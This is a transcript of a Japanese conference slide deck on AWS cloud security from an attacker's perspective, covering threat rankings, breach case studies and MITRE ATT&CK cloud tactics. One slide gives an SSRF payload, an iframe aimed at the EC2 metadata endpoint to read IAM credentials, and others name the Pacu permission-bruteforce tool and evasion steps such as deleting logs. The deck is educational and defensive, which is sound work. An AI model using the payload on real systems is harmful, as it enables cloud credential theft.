$30 off During Our Annual Pro Sale. View Details »

クラウドセキュリティ入門〜オフェンシブ視点でAWS環境に着目した際の脅威と対策〜

 クラウドセキュリティ入門〜オフェンシブ視点でAWS環境に着目した際の脅威と対策〜

「ISC2 Japan Chapter勉強会 2024/07」の登壇スライドです。
※ Speaker Deck上だと太文字が滲んでいるため、手元にダウンロードしてPDFを見ると鮮明に閲覧することができます。
- https://sites.google.com/isc2chapter.jp/meetup/202407

morioka12

July 10, 2024
Tweet

More Decks by morioka12

Other Decks in Technology

Transcript

  1. 2
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 本講演の注意点 
 注意・免責事項 


    • 本資料は、発表者の個人的な見解に基づいて作成されており、 
 所属組織の見解を代表するものではありません。 
 • 本資料は、セキュリティに関する知見を広く共有する目的で 
 作成されており、悪用行為を推奨するものではありません。 

  2. 4
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 自己紹介「森岡 優太」 
 ▪略歴


    神奈川県 出身・在住
 2024年4月 ~ GMOサイバーセキュリティ byイエラエ株式会社  新卒入社
                         セキュリティエンジニア 
 
 ▪サブ情報 
 学生時代から数社でWebやクラウドなどの脆弱性診断等の業務を経験し、
 現在は所属企業でWebペネトレーションテスト やソースコード診断等の業務に従事する。 
 外部活動では、サイバーセキュリティに関する登壇や講師、執筆などに取り組み、 
 プライベートでもバグバウンティで脆弱性探しに取り組んでいる。 
    AWS Community Builder (Security & Identity Builder since 2024) 
 @scgajge12 https://scgajge12.github.io/ ・6月:セキュリティミニキャンプ 講師 ・7月:Hack Fes. 2024 講師 ・8月:P3NFEST 2024 Summer 講師
  3. 5
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 過去の外部活動 
 クラウドセキュリティに関する執筆 (ブログ)

    
 • Lambda の落とし穴 - 脆弱なライブラリによる危険性とセキュリティ対策
 • サーバーレスのセキュリティリスク - AWS Lambda における脆弱性攻撃と対策
 • Amazon S3の脆弱な利用によるセキュリティリスクと対策
 • CTF Cloud 問題の攻撃手法まとめ (2021, 2022, 2023年版)
 • HTB Cloud 問題の攻撃手法まとめ
 • Amazon EC2 におけるセキュリティ(脆弱性)事例
 • フィッシングによる AWS ログイン の MFA 認証の回避と事例
 • オフェンシブ視点による Cloud Security 入門 ~AWS 編~
 
 https://scgajge12.github.io/tags/cloud/
  4. 9
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 本講演のポイント (ゴール) 
 1.

    攻撃者から見たクラウド環境のターゲット 2. AWS環境における攻撃者の侵入手順    3. 攻撃者を想定したセキュリティ対策
  5. 10
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 タイムテーブル (55分) 
 18:05

    ~ 18:10 (5分) 前置き + 本題説明 
 18:10 ~ 18:20 (10分) クラウドセキュリティ
 18:20 ~ 18:40 (20分) 攻めの視点
 18:40 ~ 18:45 (5分)  守りの視点
 18:45 ~ 18:50 (5分)  まとめ
 18:50 ~ 19:00 (10分) Q&Aセッション

  6. 11
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 18:05 ~ 18:10 (5分) 

    前置き + 本題説明
 18:10 ~ 18:20 (10分) クラウドセキュリティ 
 18:20 ~ 18:40 (20分) 攻めの視点
 18:40 ~ 18:45 (5分)  守りの視点
 18:45 ~ 18:50 (5分)  まとめ
 18:50 ~ 19:00 (10分) Q&Aセッション
 
 タイムテーブル (55分) 

  7. 13
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 CSA “クラウドの重大セキュリティ脅威11”

    
 1位:不十分なIDや資格情報、およびアクセスと鍵の管理
 2位:安全でないインターフェースやAPI
 3位:設定ミスと不適切な変更管理
 4位:クラウドセキュリティのアーキテクチャと戦略の欠如
 5位:安全でないソフトウェア開発
 6位:安全でないサードパーティのリソース
 https://www.cloudsecurityalliance.jp/site/wp-content/uploads/2022/11/topthreat_morozumi_20221117.pdf 重要
  8. 14
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 CSA “クラウドの重大セキュリティ脅威11”

    
 7位:システムの脆弱性
 8位:偶発的なクラウドデータの漏洩
 9位:サーバーレスやコンテナのワークロードの構成ミスや悪用
 10位:組織的な犯罪、ハッカーとAPTグループ
 11位:クラウドストレージのデータの漏洩
 https://www.cloudsecurityalliance.jp/site/wp-content/uploads/2022/11/topthreat_morozumi_20221117.pdf
  9. 15
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 CSA “クラウドの重大セキュリティ脅威11”

    (分類別) 
 設定不備
 1位:資格情報の管理
 3位:設定と変更の管理
 4位:セキュリティ対策
 8位:データの漏洩
 9位:クラウド構成
 11位:データの漏洩
 脆弱性
 2位:InterfaceやAPI
 5位:ソフトウェア開発
 6位:サードパーティ
 7位:システム
 外部影響
 10位:ハッカー
 

  10. 16
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 Trend Micro

    “AWSの設定ミスランキング” 
 1位:AWS CloudFormation   66.20%
 2位:AWS CloudTrail      33.14%
 3位:Aamzon EBS        30.84%
 4位:Amazon S3        30.73%
 5位:AWS Lambda       27.70%
 6位:AWS Config        18.37%
 https://www.trendmicro.com/ja_jp/devops/21/k/top-10-aws-security-misconfigurations.html
  11. 17
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 Trend Micro

    “AWSの設定ミスランキング” 
 1位:AWS CloudFormation   66.20%  構成
 2位:AWS CloudTrail      33.14%  運用(監査)  
 3位:Aamzon EBS        30.84%  データ 
 4位:Amazon S3        30.73%  データ
 5位:AWS Lambda       27.70%  リソース
 6位:AWS Config        18.37%  運用(監査)
 https://www.trendmicro.com/ja_jp/devops/21/k/top-10-aws-security-misconfigurations.html
  12. 20
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウドサービスの現状と課題 
 ISC2 “2024

    Cloud Security Report” 
 Cybersecurity InsidersとISC2が共同で実施した調査 (回答者951人)
 • クラウドサービスへの懸念
 ◦ 回答者の96%が「パブリッククラウドのセキュリティ」に懸念を抱いている 
 ▪ マルチクラウド環境の課題
 ▪ クラウドセキュリティ導入の障壁
 ▪ セキュリティ人材の不足
 ▪ クラウドセキュリティ戦略のベストプラクティス
 ▪ クラウドセキュリティのスキル
 https://www.isc2.org/-/media/5C011B9E35624F309CB4D00EA1A22FED.ashx
  13. 21
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウドサービスの現状と課題 
 ISC2 “2024

    Cloud Security Report” 
 今後重視されるクラウドセキュリティのスキル
 • クラウドおよびアプリケーションセキュリティ (60%)
 • IDおよびアクセス管理 (59%)
 • ガバナンス・リスク・コンプライアンス (58%)
 • セキュリティ監視 (57%)
 • 脅威インテリジェンス (57%)
 https://www.isc2.org/-/media/5C011B9E35624F309CB4D00EA1A22FED.ashx
  14. 22
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウドサービスの現状と課題 
 ISC2 “2024

    Cloud Security Report” 
 今後重視されるクラウドセキュリティのスキル
 • クラウドおよびアプリケーションセキュリティ (60%)
 • IDおよびアクセス管理 (59%)
 • ガバナンス・リスク・コンプライアンス (58%)
 • セキュリティ監視 (57%)
 • 脅威インテリジェンス (57%)
 https://www.isc2.org/-/media/5C011B9E35624F309CB4D00EA1A22FED.ashx 今回触れる    箇所
  15. 24
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 被害事例のタイプ 


    • 事故
 ◦ 構成や設定の不備による外部への情報漏洩
 ◦ パスワードや認証情報の不適切な管理による情報漏洩
 • サイバー攻撃 
 ◦ 外部の第三者による不正操作や情報漏洩
 ◦ 内部犯による不正操作や情報漏洩
 ▪ 正社員, 派遣社員, 元正社員, 関連企業の方, ...

  16. 25
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 よくある公開された事例 


    • 事故
 ◦ S3バケットの設定不備による情報漏洩
 ◦ 認証情報がソースコードにハードコードされていることによる情報漏洩
 • サイバー攻撃 
 ◦ 脆弱なEC2インスタンス上のアプリに対する攻撃による不正アクセス
 ◦ 会社のGitHubアカウントが外部で侵害され、認証情報が漏洩することによる 情報漏洩

  17. 26
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 被害事例1 (2024年)

    
 1. 攻撃者が何らかの方法でのGitLabリポジトリに不正アクセス
 a. (推測:フィッシングやマルウェア感染などで開発者の端末から漏洩)
 2. リポジトリ内からAmazon S3 へのアクセス権を持つ認証情報を奪取
 a. シークレットなソースコードに認証情報(IAM)がハードコードされていた
 3. S3 バケットから顧客情報を盗む
 
        2024年4月にSisense(ソフトウェア会社)で起きた事例
    
 https://krebsonsecurity.com/2024/04/why-cisa-is-warning-cisos-about-a-breach-at-sisense/
  18. 27
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 被害事例2 (2020年)

    
 1. 攻撃者が会社が提供するJS SDKが置いてあるAmazon S3 に不正操作
 a. JS SDKのライブラリをホストしたS3 バケット
 2. S3バケットの設定不備により、攻撃者が悪意のあるコードを挿入
 a. S3 バケットを第三者が書き込み&編集が可能な状態だった
 3. JS SDKのライブラリを読み込んでいるWebサイトで不正操作
 a. (改ざんされて15分で開発者が気づき、未然に被害を防いだ)
    2020年7月にTwilio(プラットフォームサービス会社)で起きた事例
    
 https://www.twilio.com/blog/incident-report-taskrouter-js-sdk-july-2020
  19. 28
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 被害事例3 (2019年)

    
 1. 攻撃者がWAFの設定ミスでAmazon EC2 のサーバーに対して脆弱性攻撃
 2. 脆弱性攻撃により一時的な認証情報を奪取
 a. EC2のメタデータサービスからIAMを取得
 3. 認証情報を悪用してS3バケットに不正アクセスし、顧客情報を盗む
 
 
           2019年7月にCapital One(金融会社)で起きた事例
    
 https://www.fugue.co/blog/a-technical-analysis-of-the-capital-one-cloud-misconfiguration-breach
  20. 29
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における被害事例 
 被害事例4 (2022年)

    
 1. 攻撃者が契約業者の認証情報をダークウェブで購入して入手
 a. (契約業者の個人デバイスがマルウェアに感染して認証情報が漏洩していた)
 2. 入手した認証情報で社内サイトに不正アクセス
 a. (2段階認証があり大量のリクエストを送り、最終的に被害者は承認: MFA疲れ攻撃)
 3. 侵入して他の従業人アカウントや社内情報、AWSの認証情報を盗む
 a. 最終的にG-SuiteやSlackなどのツールへの権限昇格して、多くの情報を盗む
                 2022年9月にUber EXTで起きた事例
    
 https://www.uber.com/newsroom/security-update/
  21. 30
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境における一般的な脅威 
 主な原因
 •

    設定不備や不適切な変更管理、ID管理
 • 脆弱なアプリケーションやAPI
 
 主な脅威
 • 顧客情報や社内情報の漏洩
 • プログラムやデータに関する改ざんなどの不正操作

  22. 31
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 タイムテーブル (55分) 
 18:05

    ~ 18:10 (5分)  前置き + 本題説明
 18:10 ~ 18:20 (10分) クラウドセキュリティ
 18:20 ~ 18:40 (20分) 攻めの視点 
 18:40 ~ 18:45 (5分)  守りの視点
 18:45 ~ 18:50 (5分)  まとめ
 18:50 ~ 19:00 (10分) Q&Aセッション

  23. 33
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境に対する攻撃者の主な目的 


    • 最終目的
 ◦ 機密情報の奪取 (顧客情報, 社員情報, 社内情報, ...)
 ▪ S3, RDS, DynamoDB, EBS, EFS, ...
 ◦ AWSリソースの悪用 (マイニング, マルウェア配布, DoS攻撃, ...)
 ▪ EC2, Lambda, S3, Fargate, ...
 ◦ ビジネス的な悪影響 (サービス停止, 改修コスト, 印象操作, 株価, ...)
 • その他 (一次目的) 
 ◦ AWSやAPIなどの認証情報の奪取
 ポイント
  24. 34
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境における情報セキュリティ3要素 (CIA)

    
 • 機密性 (Confidentiality) 
 ◦ 許可された者のみがAWSリソースやデータにアクセス(操作)できること
 • 完全性 (Integrity) 
 ◦ データや設定が完全な状態に保たれて不正な改ざんから保護できること
 • 可用性 (Availability) 
 ◦ システムやアプリケーションが必要な時に利用可能な状態であること

  25. 35
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境における情報セキュリティ3要素 (CIA)

    
 • 機密性 (Confidentiality) 
 ◦ NG例:機密情報の漏洩やAWSリソースの不正操作
 • 完全性 (Integrity) 
 ◦ NG例:機密情報やAWS設定の改ざん・削除
 • 可用性 (Availability) 
 ◦ NG例:DoS攻撃や脆弱性攻撃によるサービスの停止

  26. 39
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境の「外部」から見た際の観点 


    前提
 • 外部情報のみを持つ攻撃者
 観点 (例) 
 • Webアプリケーションなどに対して脆弱性攻撃による認証情報の取得
 • AWSサービスの設定不備による不正操作や機密情報の取得
 • GitHubなどの外部サービスに保存されたリソースから認証情報の取得
 • フィッシングやマルウェア感染による端末から認証情報の取得

  27. 40
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境の「内部」から見た際の観点 


    前提
 • なにかしらの認証情報を既に持った攻撃者 (もしくは内部犯)
 ◦ 外部からの観点で入手
 観点 (例) 
 • IAMの許可されたAWSサービスやリソースの不正操作や機密情報の取得
 • IAMの権限昇格による更なる侵害

  28. 41
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 • クラウド環境におけるセキュリティインシデントを理解して、対策する ためのフレームワーク
 ◦ 特に、標的型攻撃 で使われる戦術、技術、手順 (TTPs) を分類した
 フレームワーク
 ▪ 標的型攻撃:特定の組織や個人を狙った攻撃
 • 攻撃ライフサイクルを11の戦術 (Tactics) に分けている
 https://attack.mitre.org/matrices/enterprise/cloud/iaas/
  29. 43
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 1. 初期アクセス
 2. 実行
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開
 9. 収集
 10. 持ち出し
 11. 影響
 

  30. 44
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 初期侵入
 1. 初期アクセス
 2. 実行
 奪取・悪用 
 9. 収集
 10. 持ち出し
 11. 影響
 
 調査・探索 
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開

  31. 46
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 1. 初期アクセス 
 2. 実行
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開
 9. 収集
 10. 持ち出し
 11. 影響
 
 1. 初期アクセス 
  32. 47
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 概要
 • AWS環境に侵入するために認証情報(IAM)を入手する
 ポイント
 • 「攻撃者」は何でもありなスタイル
 ▪ 多種多様な攻撃手法・観点がある
 

  33. 48
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 主なターゲット 
 • 企業が提供するサービス (脆弱性攻撃)
 • 企業の社員 (フィッシング, マルウェア感染)
 • 関連企業や取引先企業 (サプライチェーン攻撃)
 • その他
 ◦ インターネット上のあらゆる情報
 ▪ (GitHub, Internet Archive, ダークウェブ, ...)
 ◦ 物理的なオフィスへの侵入による社内ネットワークへの侵入
 

  34. 49
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 アクション例1 (サービスやリソースに対して) 
 • 企業が提供するWebアプリケーションやモバイルアプリ、APIなどに対して脆 弱性攻撃
 ◦ → 一次目的なIAMなどの認証情報の取得
 • AWSリソースの設定不備による、公開を意図しない情報の取得
 ◦ → 最終目的な個人情報, 一次目的に使える認証情報の取得
 

  35. 50
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 アクション例2 (人や外部に対して) 
 • 企業の社員や取引先の企業に対してフィッシング やマルウェア感染 による 情報の取得
 ◦ → 最終目的な個人情報, 一次目的に使える認証情報の取得
 • GitHubなどの外部サービスからハードコード された情報の取得
 ◦ ソースコード, .gitファイル, ログファイル, ...
 ◦ → 一次目的に使える認証情報の取得
 

  36. 51
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 具体例1
 • WebアプリケーションやAPIに対する脆弱性攻撃
 ◦ EC2のメタデータサーバーからIAMを取得する
 ◦ EC2やLambdaの環境変数から認証情報を取得する
 
 詳細ブログ
 • 「Amazon EC2 におけるセキュリティ(脆弱性)事例」
 • 「サーバーレスのセキュリティリスク - AWS Lambdaにおける脆弱性攻撃と対策」
 

  37. 53
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 EC2上のアプリにおける脆弱性 (事例) 
 PDF生成機能におけるIAMの取得

    
 条件
 • EC2上で動くWebアプリに任意の文字列を入力してPDFに埋め込まれる
 脆弱性攻撃 
 • HTMLインジェクション
 ◦ 任意のHTMLタグを埋め込むことができる (iframe)
 • SSRF (Server Side Request Forgery)
 ◦ 内部サーバー(メタデータサービス)にリクエストを投げてアクセスできる
 • OWASP Top 10 ◦ 10位 • OWASP Top 10 API Security Risks ◦ 7位 https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90
  38. 54
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 EC2上のアプリにおける脆弱性 (事例) 
 PDF生成機能におけるIAMの取得

    
 • SSRF via HTML Injection inside a PDF file on Amazon EC2 
 https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90
  39. 55
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 EC2上のアプリにおける脆弱性 (事例) 
 PDF生成機能におけるIAMの取得

    
 ペイロード (例) 
 • <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/
 ROLE-NAME-HERE"></iframe>
 
          生成されたPDF→ 

  40. 56
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) 
 具体例2
 • 特定のターゲットに対してフィッシングやマルウェア感染
 ◦ 悪意のある添付ファイルをメールで送り、マルウェアに感染させる
 ◦ 悪意のあるWebサイトのURLをメールで送り、被害者にアクセスさせる
 
 詳細ブログ
 • 「フィッシングによる AWS ログインの MFA 認証の回避と事例」

  41. 57
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWSログインに関するブログ 
 「フィッシングによるAWS ログインの

    MFA 認証の回避と事例」 
 • AWSログインの
 仮想MFAデバイス認証の回避
 • AWSログインのSSO認証の回避
 • AWSログインをターゲットにした
       フィッシングの事例
 ◦ Google検索, メール

  42. 58
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 フィッシングによるAWSログインの事例 


    • 特定の個人・組織を標的にする場合 (Spearphishing Attachment)
 ◦ 特定の個人:企業の社員
 ◦ 事例:Google検索経由
 
 • 特定のプラットフォームを標的にする場合 (Spearphishing via Service)
 ◦ 特定のプラットフォーム:AWSマネコン
 ◦ 事例:メール経由

  43. 60
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 1. 初期アクセス

    (Initial Access) - まとめ 
 概要
 • AWS環境に侵入するために認証情報を入手する
 入手方法
 • アプリケーションやAPIに対して脆弱性攻撃 による機密情報の入手
 • AWSリソースの設定不備から機密情報の入手
 • フィッシング やマルウェア感染 による端末やシステムから機密情報の入手
 • GitHubなどにあるソースコードやgitファイル、ログファイルから入手

  44. 61
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 1. 初期アクセス
 2. 実行
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開
 9. 収集
 10. 持ち出し
 11. 影響
 
 2. 実行 
  45. 62
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 2. 実行

    (Execution) 
 概要
 • 取得した認証情報をもとに、AWS環境に侵入し不正操作を実行する
 ポイント
 • 「1.初期アクセス」で入手した認証情報の許可された権限を全て調査する
 • 操作可能な範囲でAWSリソースを不正に操作(実行)する
 

  46. 63
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 2. 実行

    (Execution) 
 主なアクション 
 • 権限調査
 ◦ 有効な権限を列挙するツールを用いて、許可された権限を調査する
 ▪ Pace, enumerate-iam, ...
 • 新規作成や編集操作 
 ◦ 悪用できそうなAWSリソースを作成したり操作する
 ▪ IAM, EC2, Lambda, S3, スナップショット, ...
 

  47. 64
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 2. 実行

    (Execution) 
 権限調査の例 
 • Pacu
 ◦ 様々な攻撃手法にモジュールが用意されたAWS環境における
 セキュリティテストを行えるオープンソースなツール
 ◦ モジュール:iam__bruteforce_permissions
 ▪ 全てのAWSサービスの可能なAPIコールを実行して、許可された権限を列挙する
 https://github.com/RhinoSecurityLabs/pacu
  48. 66
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 AWS環境における攻撃者の侵入手口 
 2. 実行

    (Execution) - まとめ 
 概要
 • 取得した認証情報をもとに、AWS環境に侵入し不正操作を実行する
 不正操作
 • ツール「Pacu」などを用いて認証情報の許可された権限を全て調査 する
 • 操作可能な範囲でAWSリソースを不正に操作(実行)する
 ◦ 悪用できそうなAWSリソースを作成・編集

  49. 67
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 1. 初期アクセス
 2. 実行
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス 
 7. 探索
 8. 水平展開 
 9. 収集
 10. 持ち出し
 11. 影響
 
 調査・探索パート
  50. 68
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 調査・探索パート 


    3. 永続化 (Persistence)
 4. 権限昇格 (Privilege Escalation)
 5. 防御回避 (Defense Evasion)
 6. 認証情報アクセス (Credential Access)
 7. 探索 (Discovery)
 8. 水平展開 (Lateral Movement)

  51. 69
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 調査・探索パート (例)

    
 3. 永続化 (Persistence) 
 • 新しい認証情報を作成したり、編集したり、MFAを無効化したりする
 • AWSリソースにバックドアを仕込む
 4. 権限昇格 (Privilege Escalation) 
 • IAMに他の権限や少しでも強い権限のロールやポリシーを追加して権限昇格する
 • Lambda関数やCloudFormatioなどにロールを渡して、
 呼び出したりテンプレートを作成することで、権限昇格させる

  52. 70
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 調査・探索パート (例)

    
 5. 防御回避 (Defense Evasion) 
 • CloudWatchやGuardDutyなどの設定を変更したり、停止させたりする
 • 新しいVPNエンドポイントやLambda APIなどを作成する
 • S3バケットなどにあるログファイルを削除する
 6. 認証情報アクセス (Credential Access) 
 • Secrets ManagerやDynamoDBなどから認証情報を取得する

  53. 71
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 1. 初期アクセス
 2. 実行
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開
 9. 収集
 10. 持ち出し 
 11. 影響 
 
 奪取・悪用パート
  54. 73
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 奪取・悪用パート 


    11. 影響 (Impact) 
 • AWS 環境内のデータやリソースなどを改ざん・削除する
 ◦ 本番環境(Prod)・検証環境(Staing)・開発環境(Dev)・社内環境
 • 企業が提供するサービスを直接的に停止させる
 • AWS 環境内のリソースを悪用して、
    他の脆弱性攻撃やフィッシング、暗号通貨マイニングなどを行う
 • ランサムウェアのように取得した機密データをもとに、
                 企業に対して金銭を要求(脅迫)する

  55. 74
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

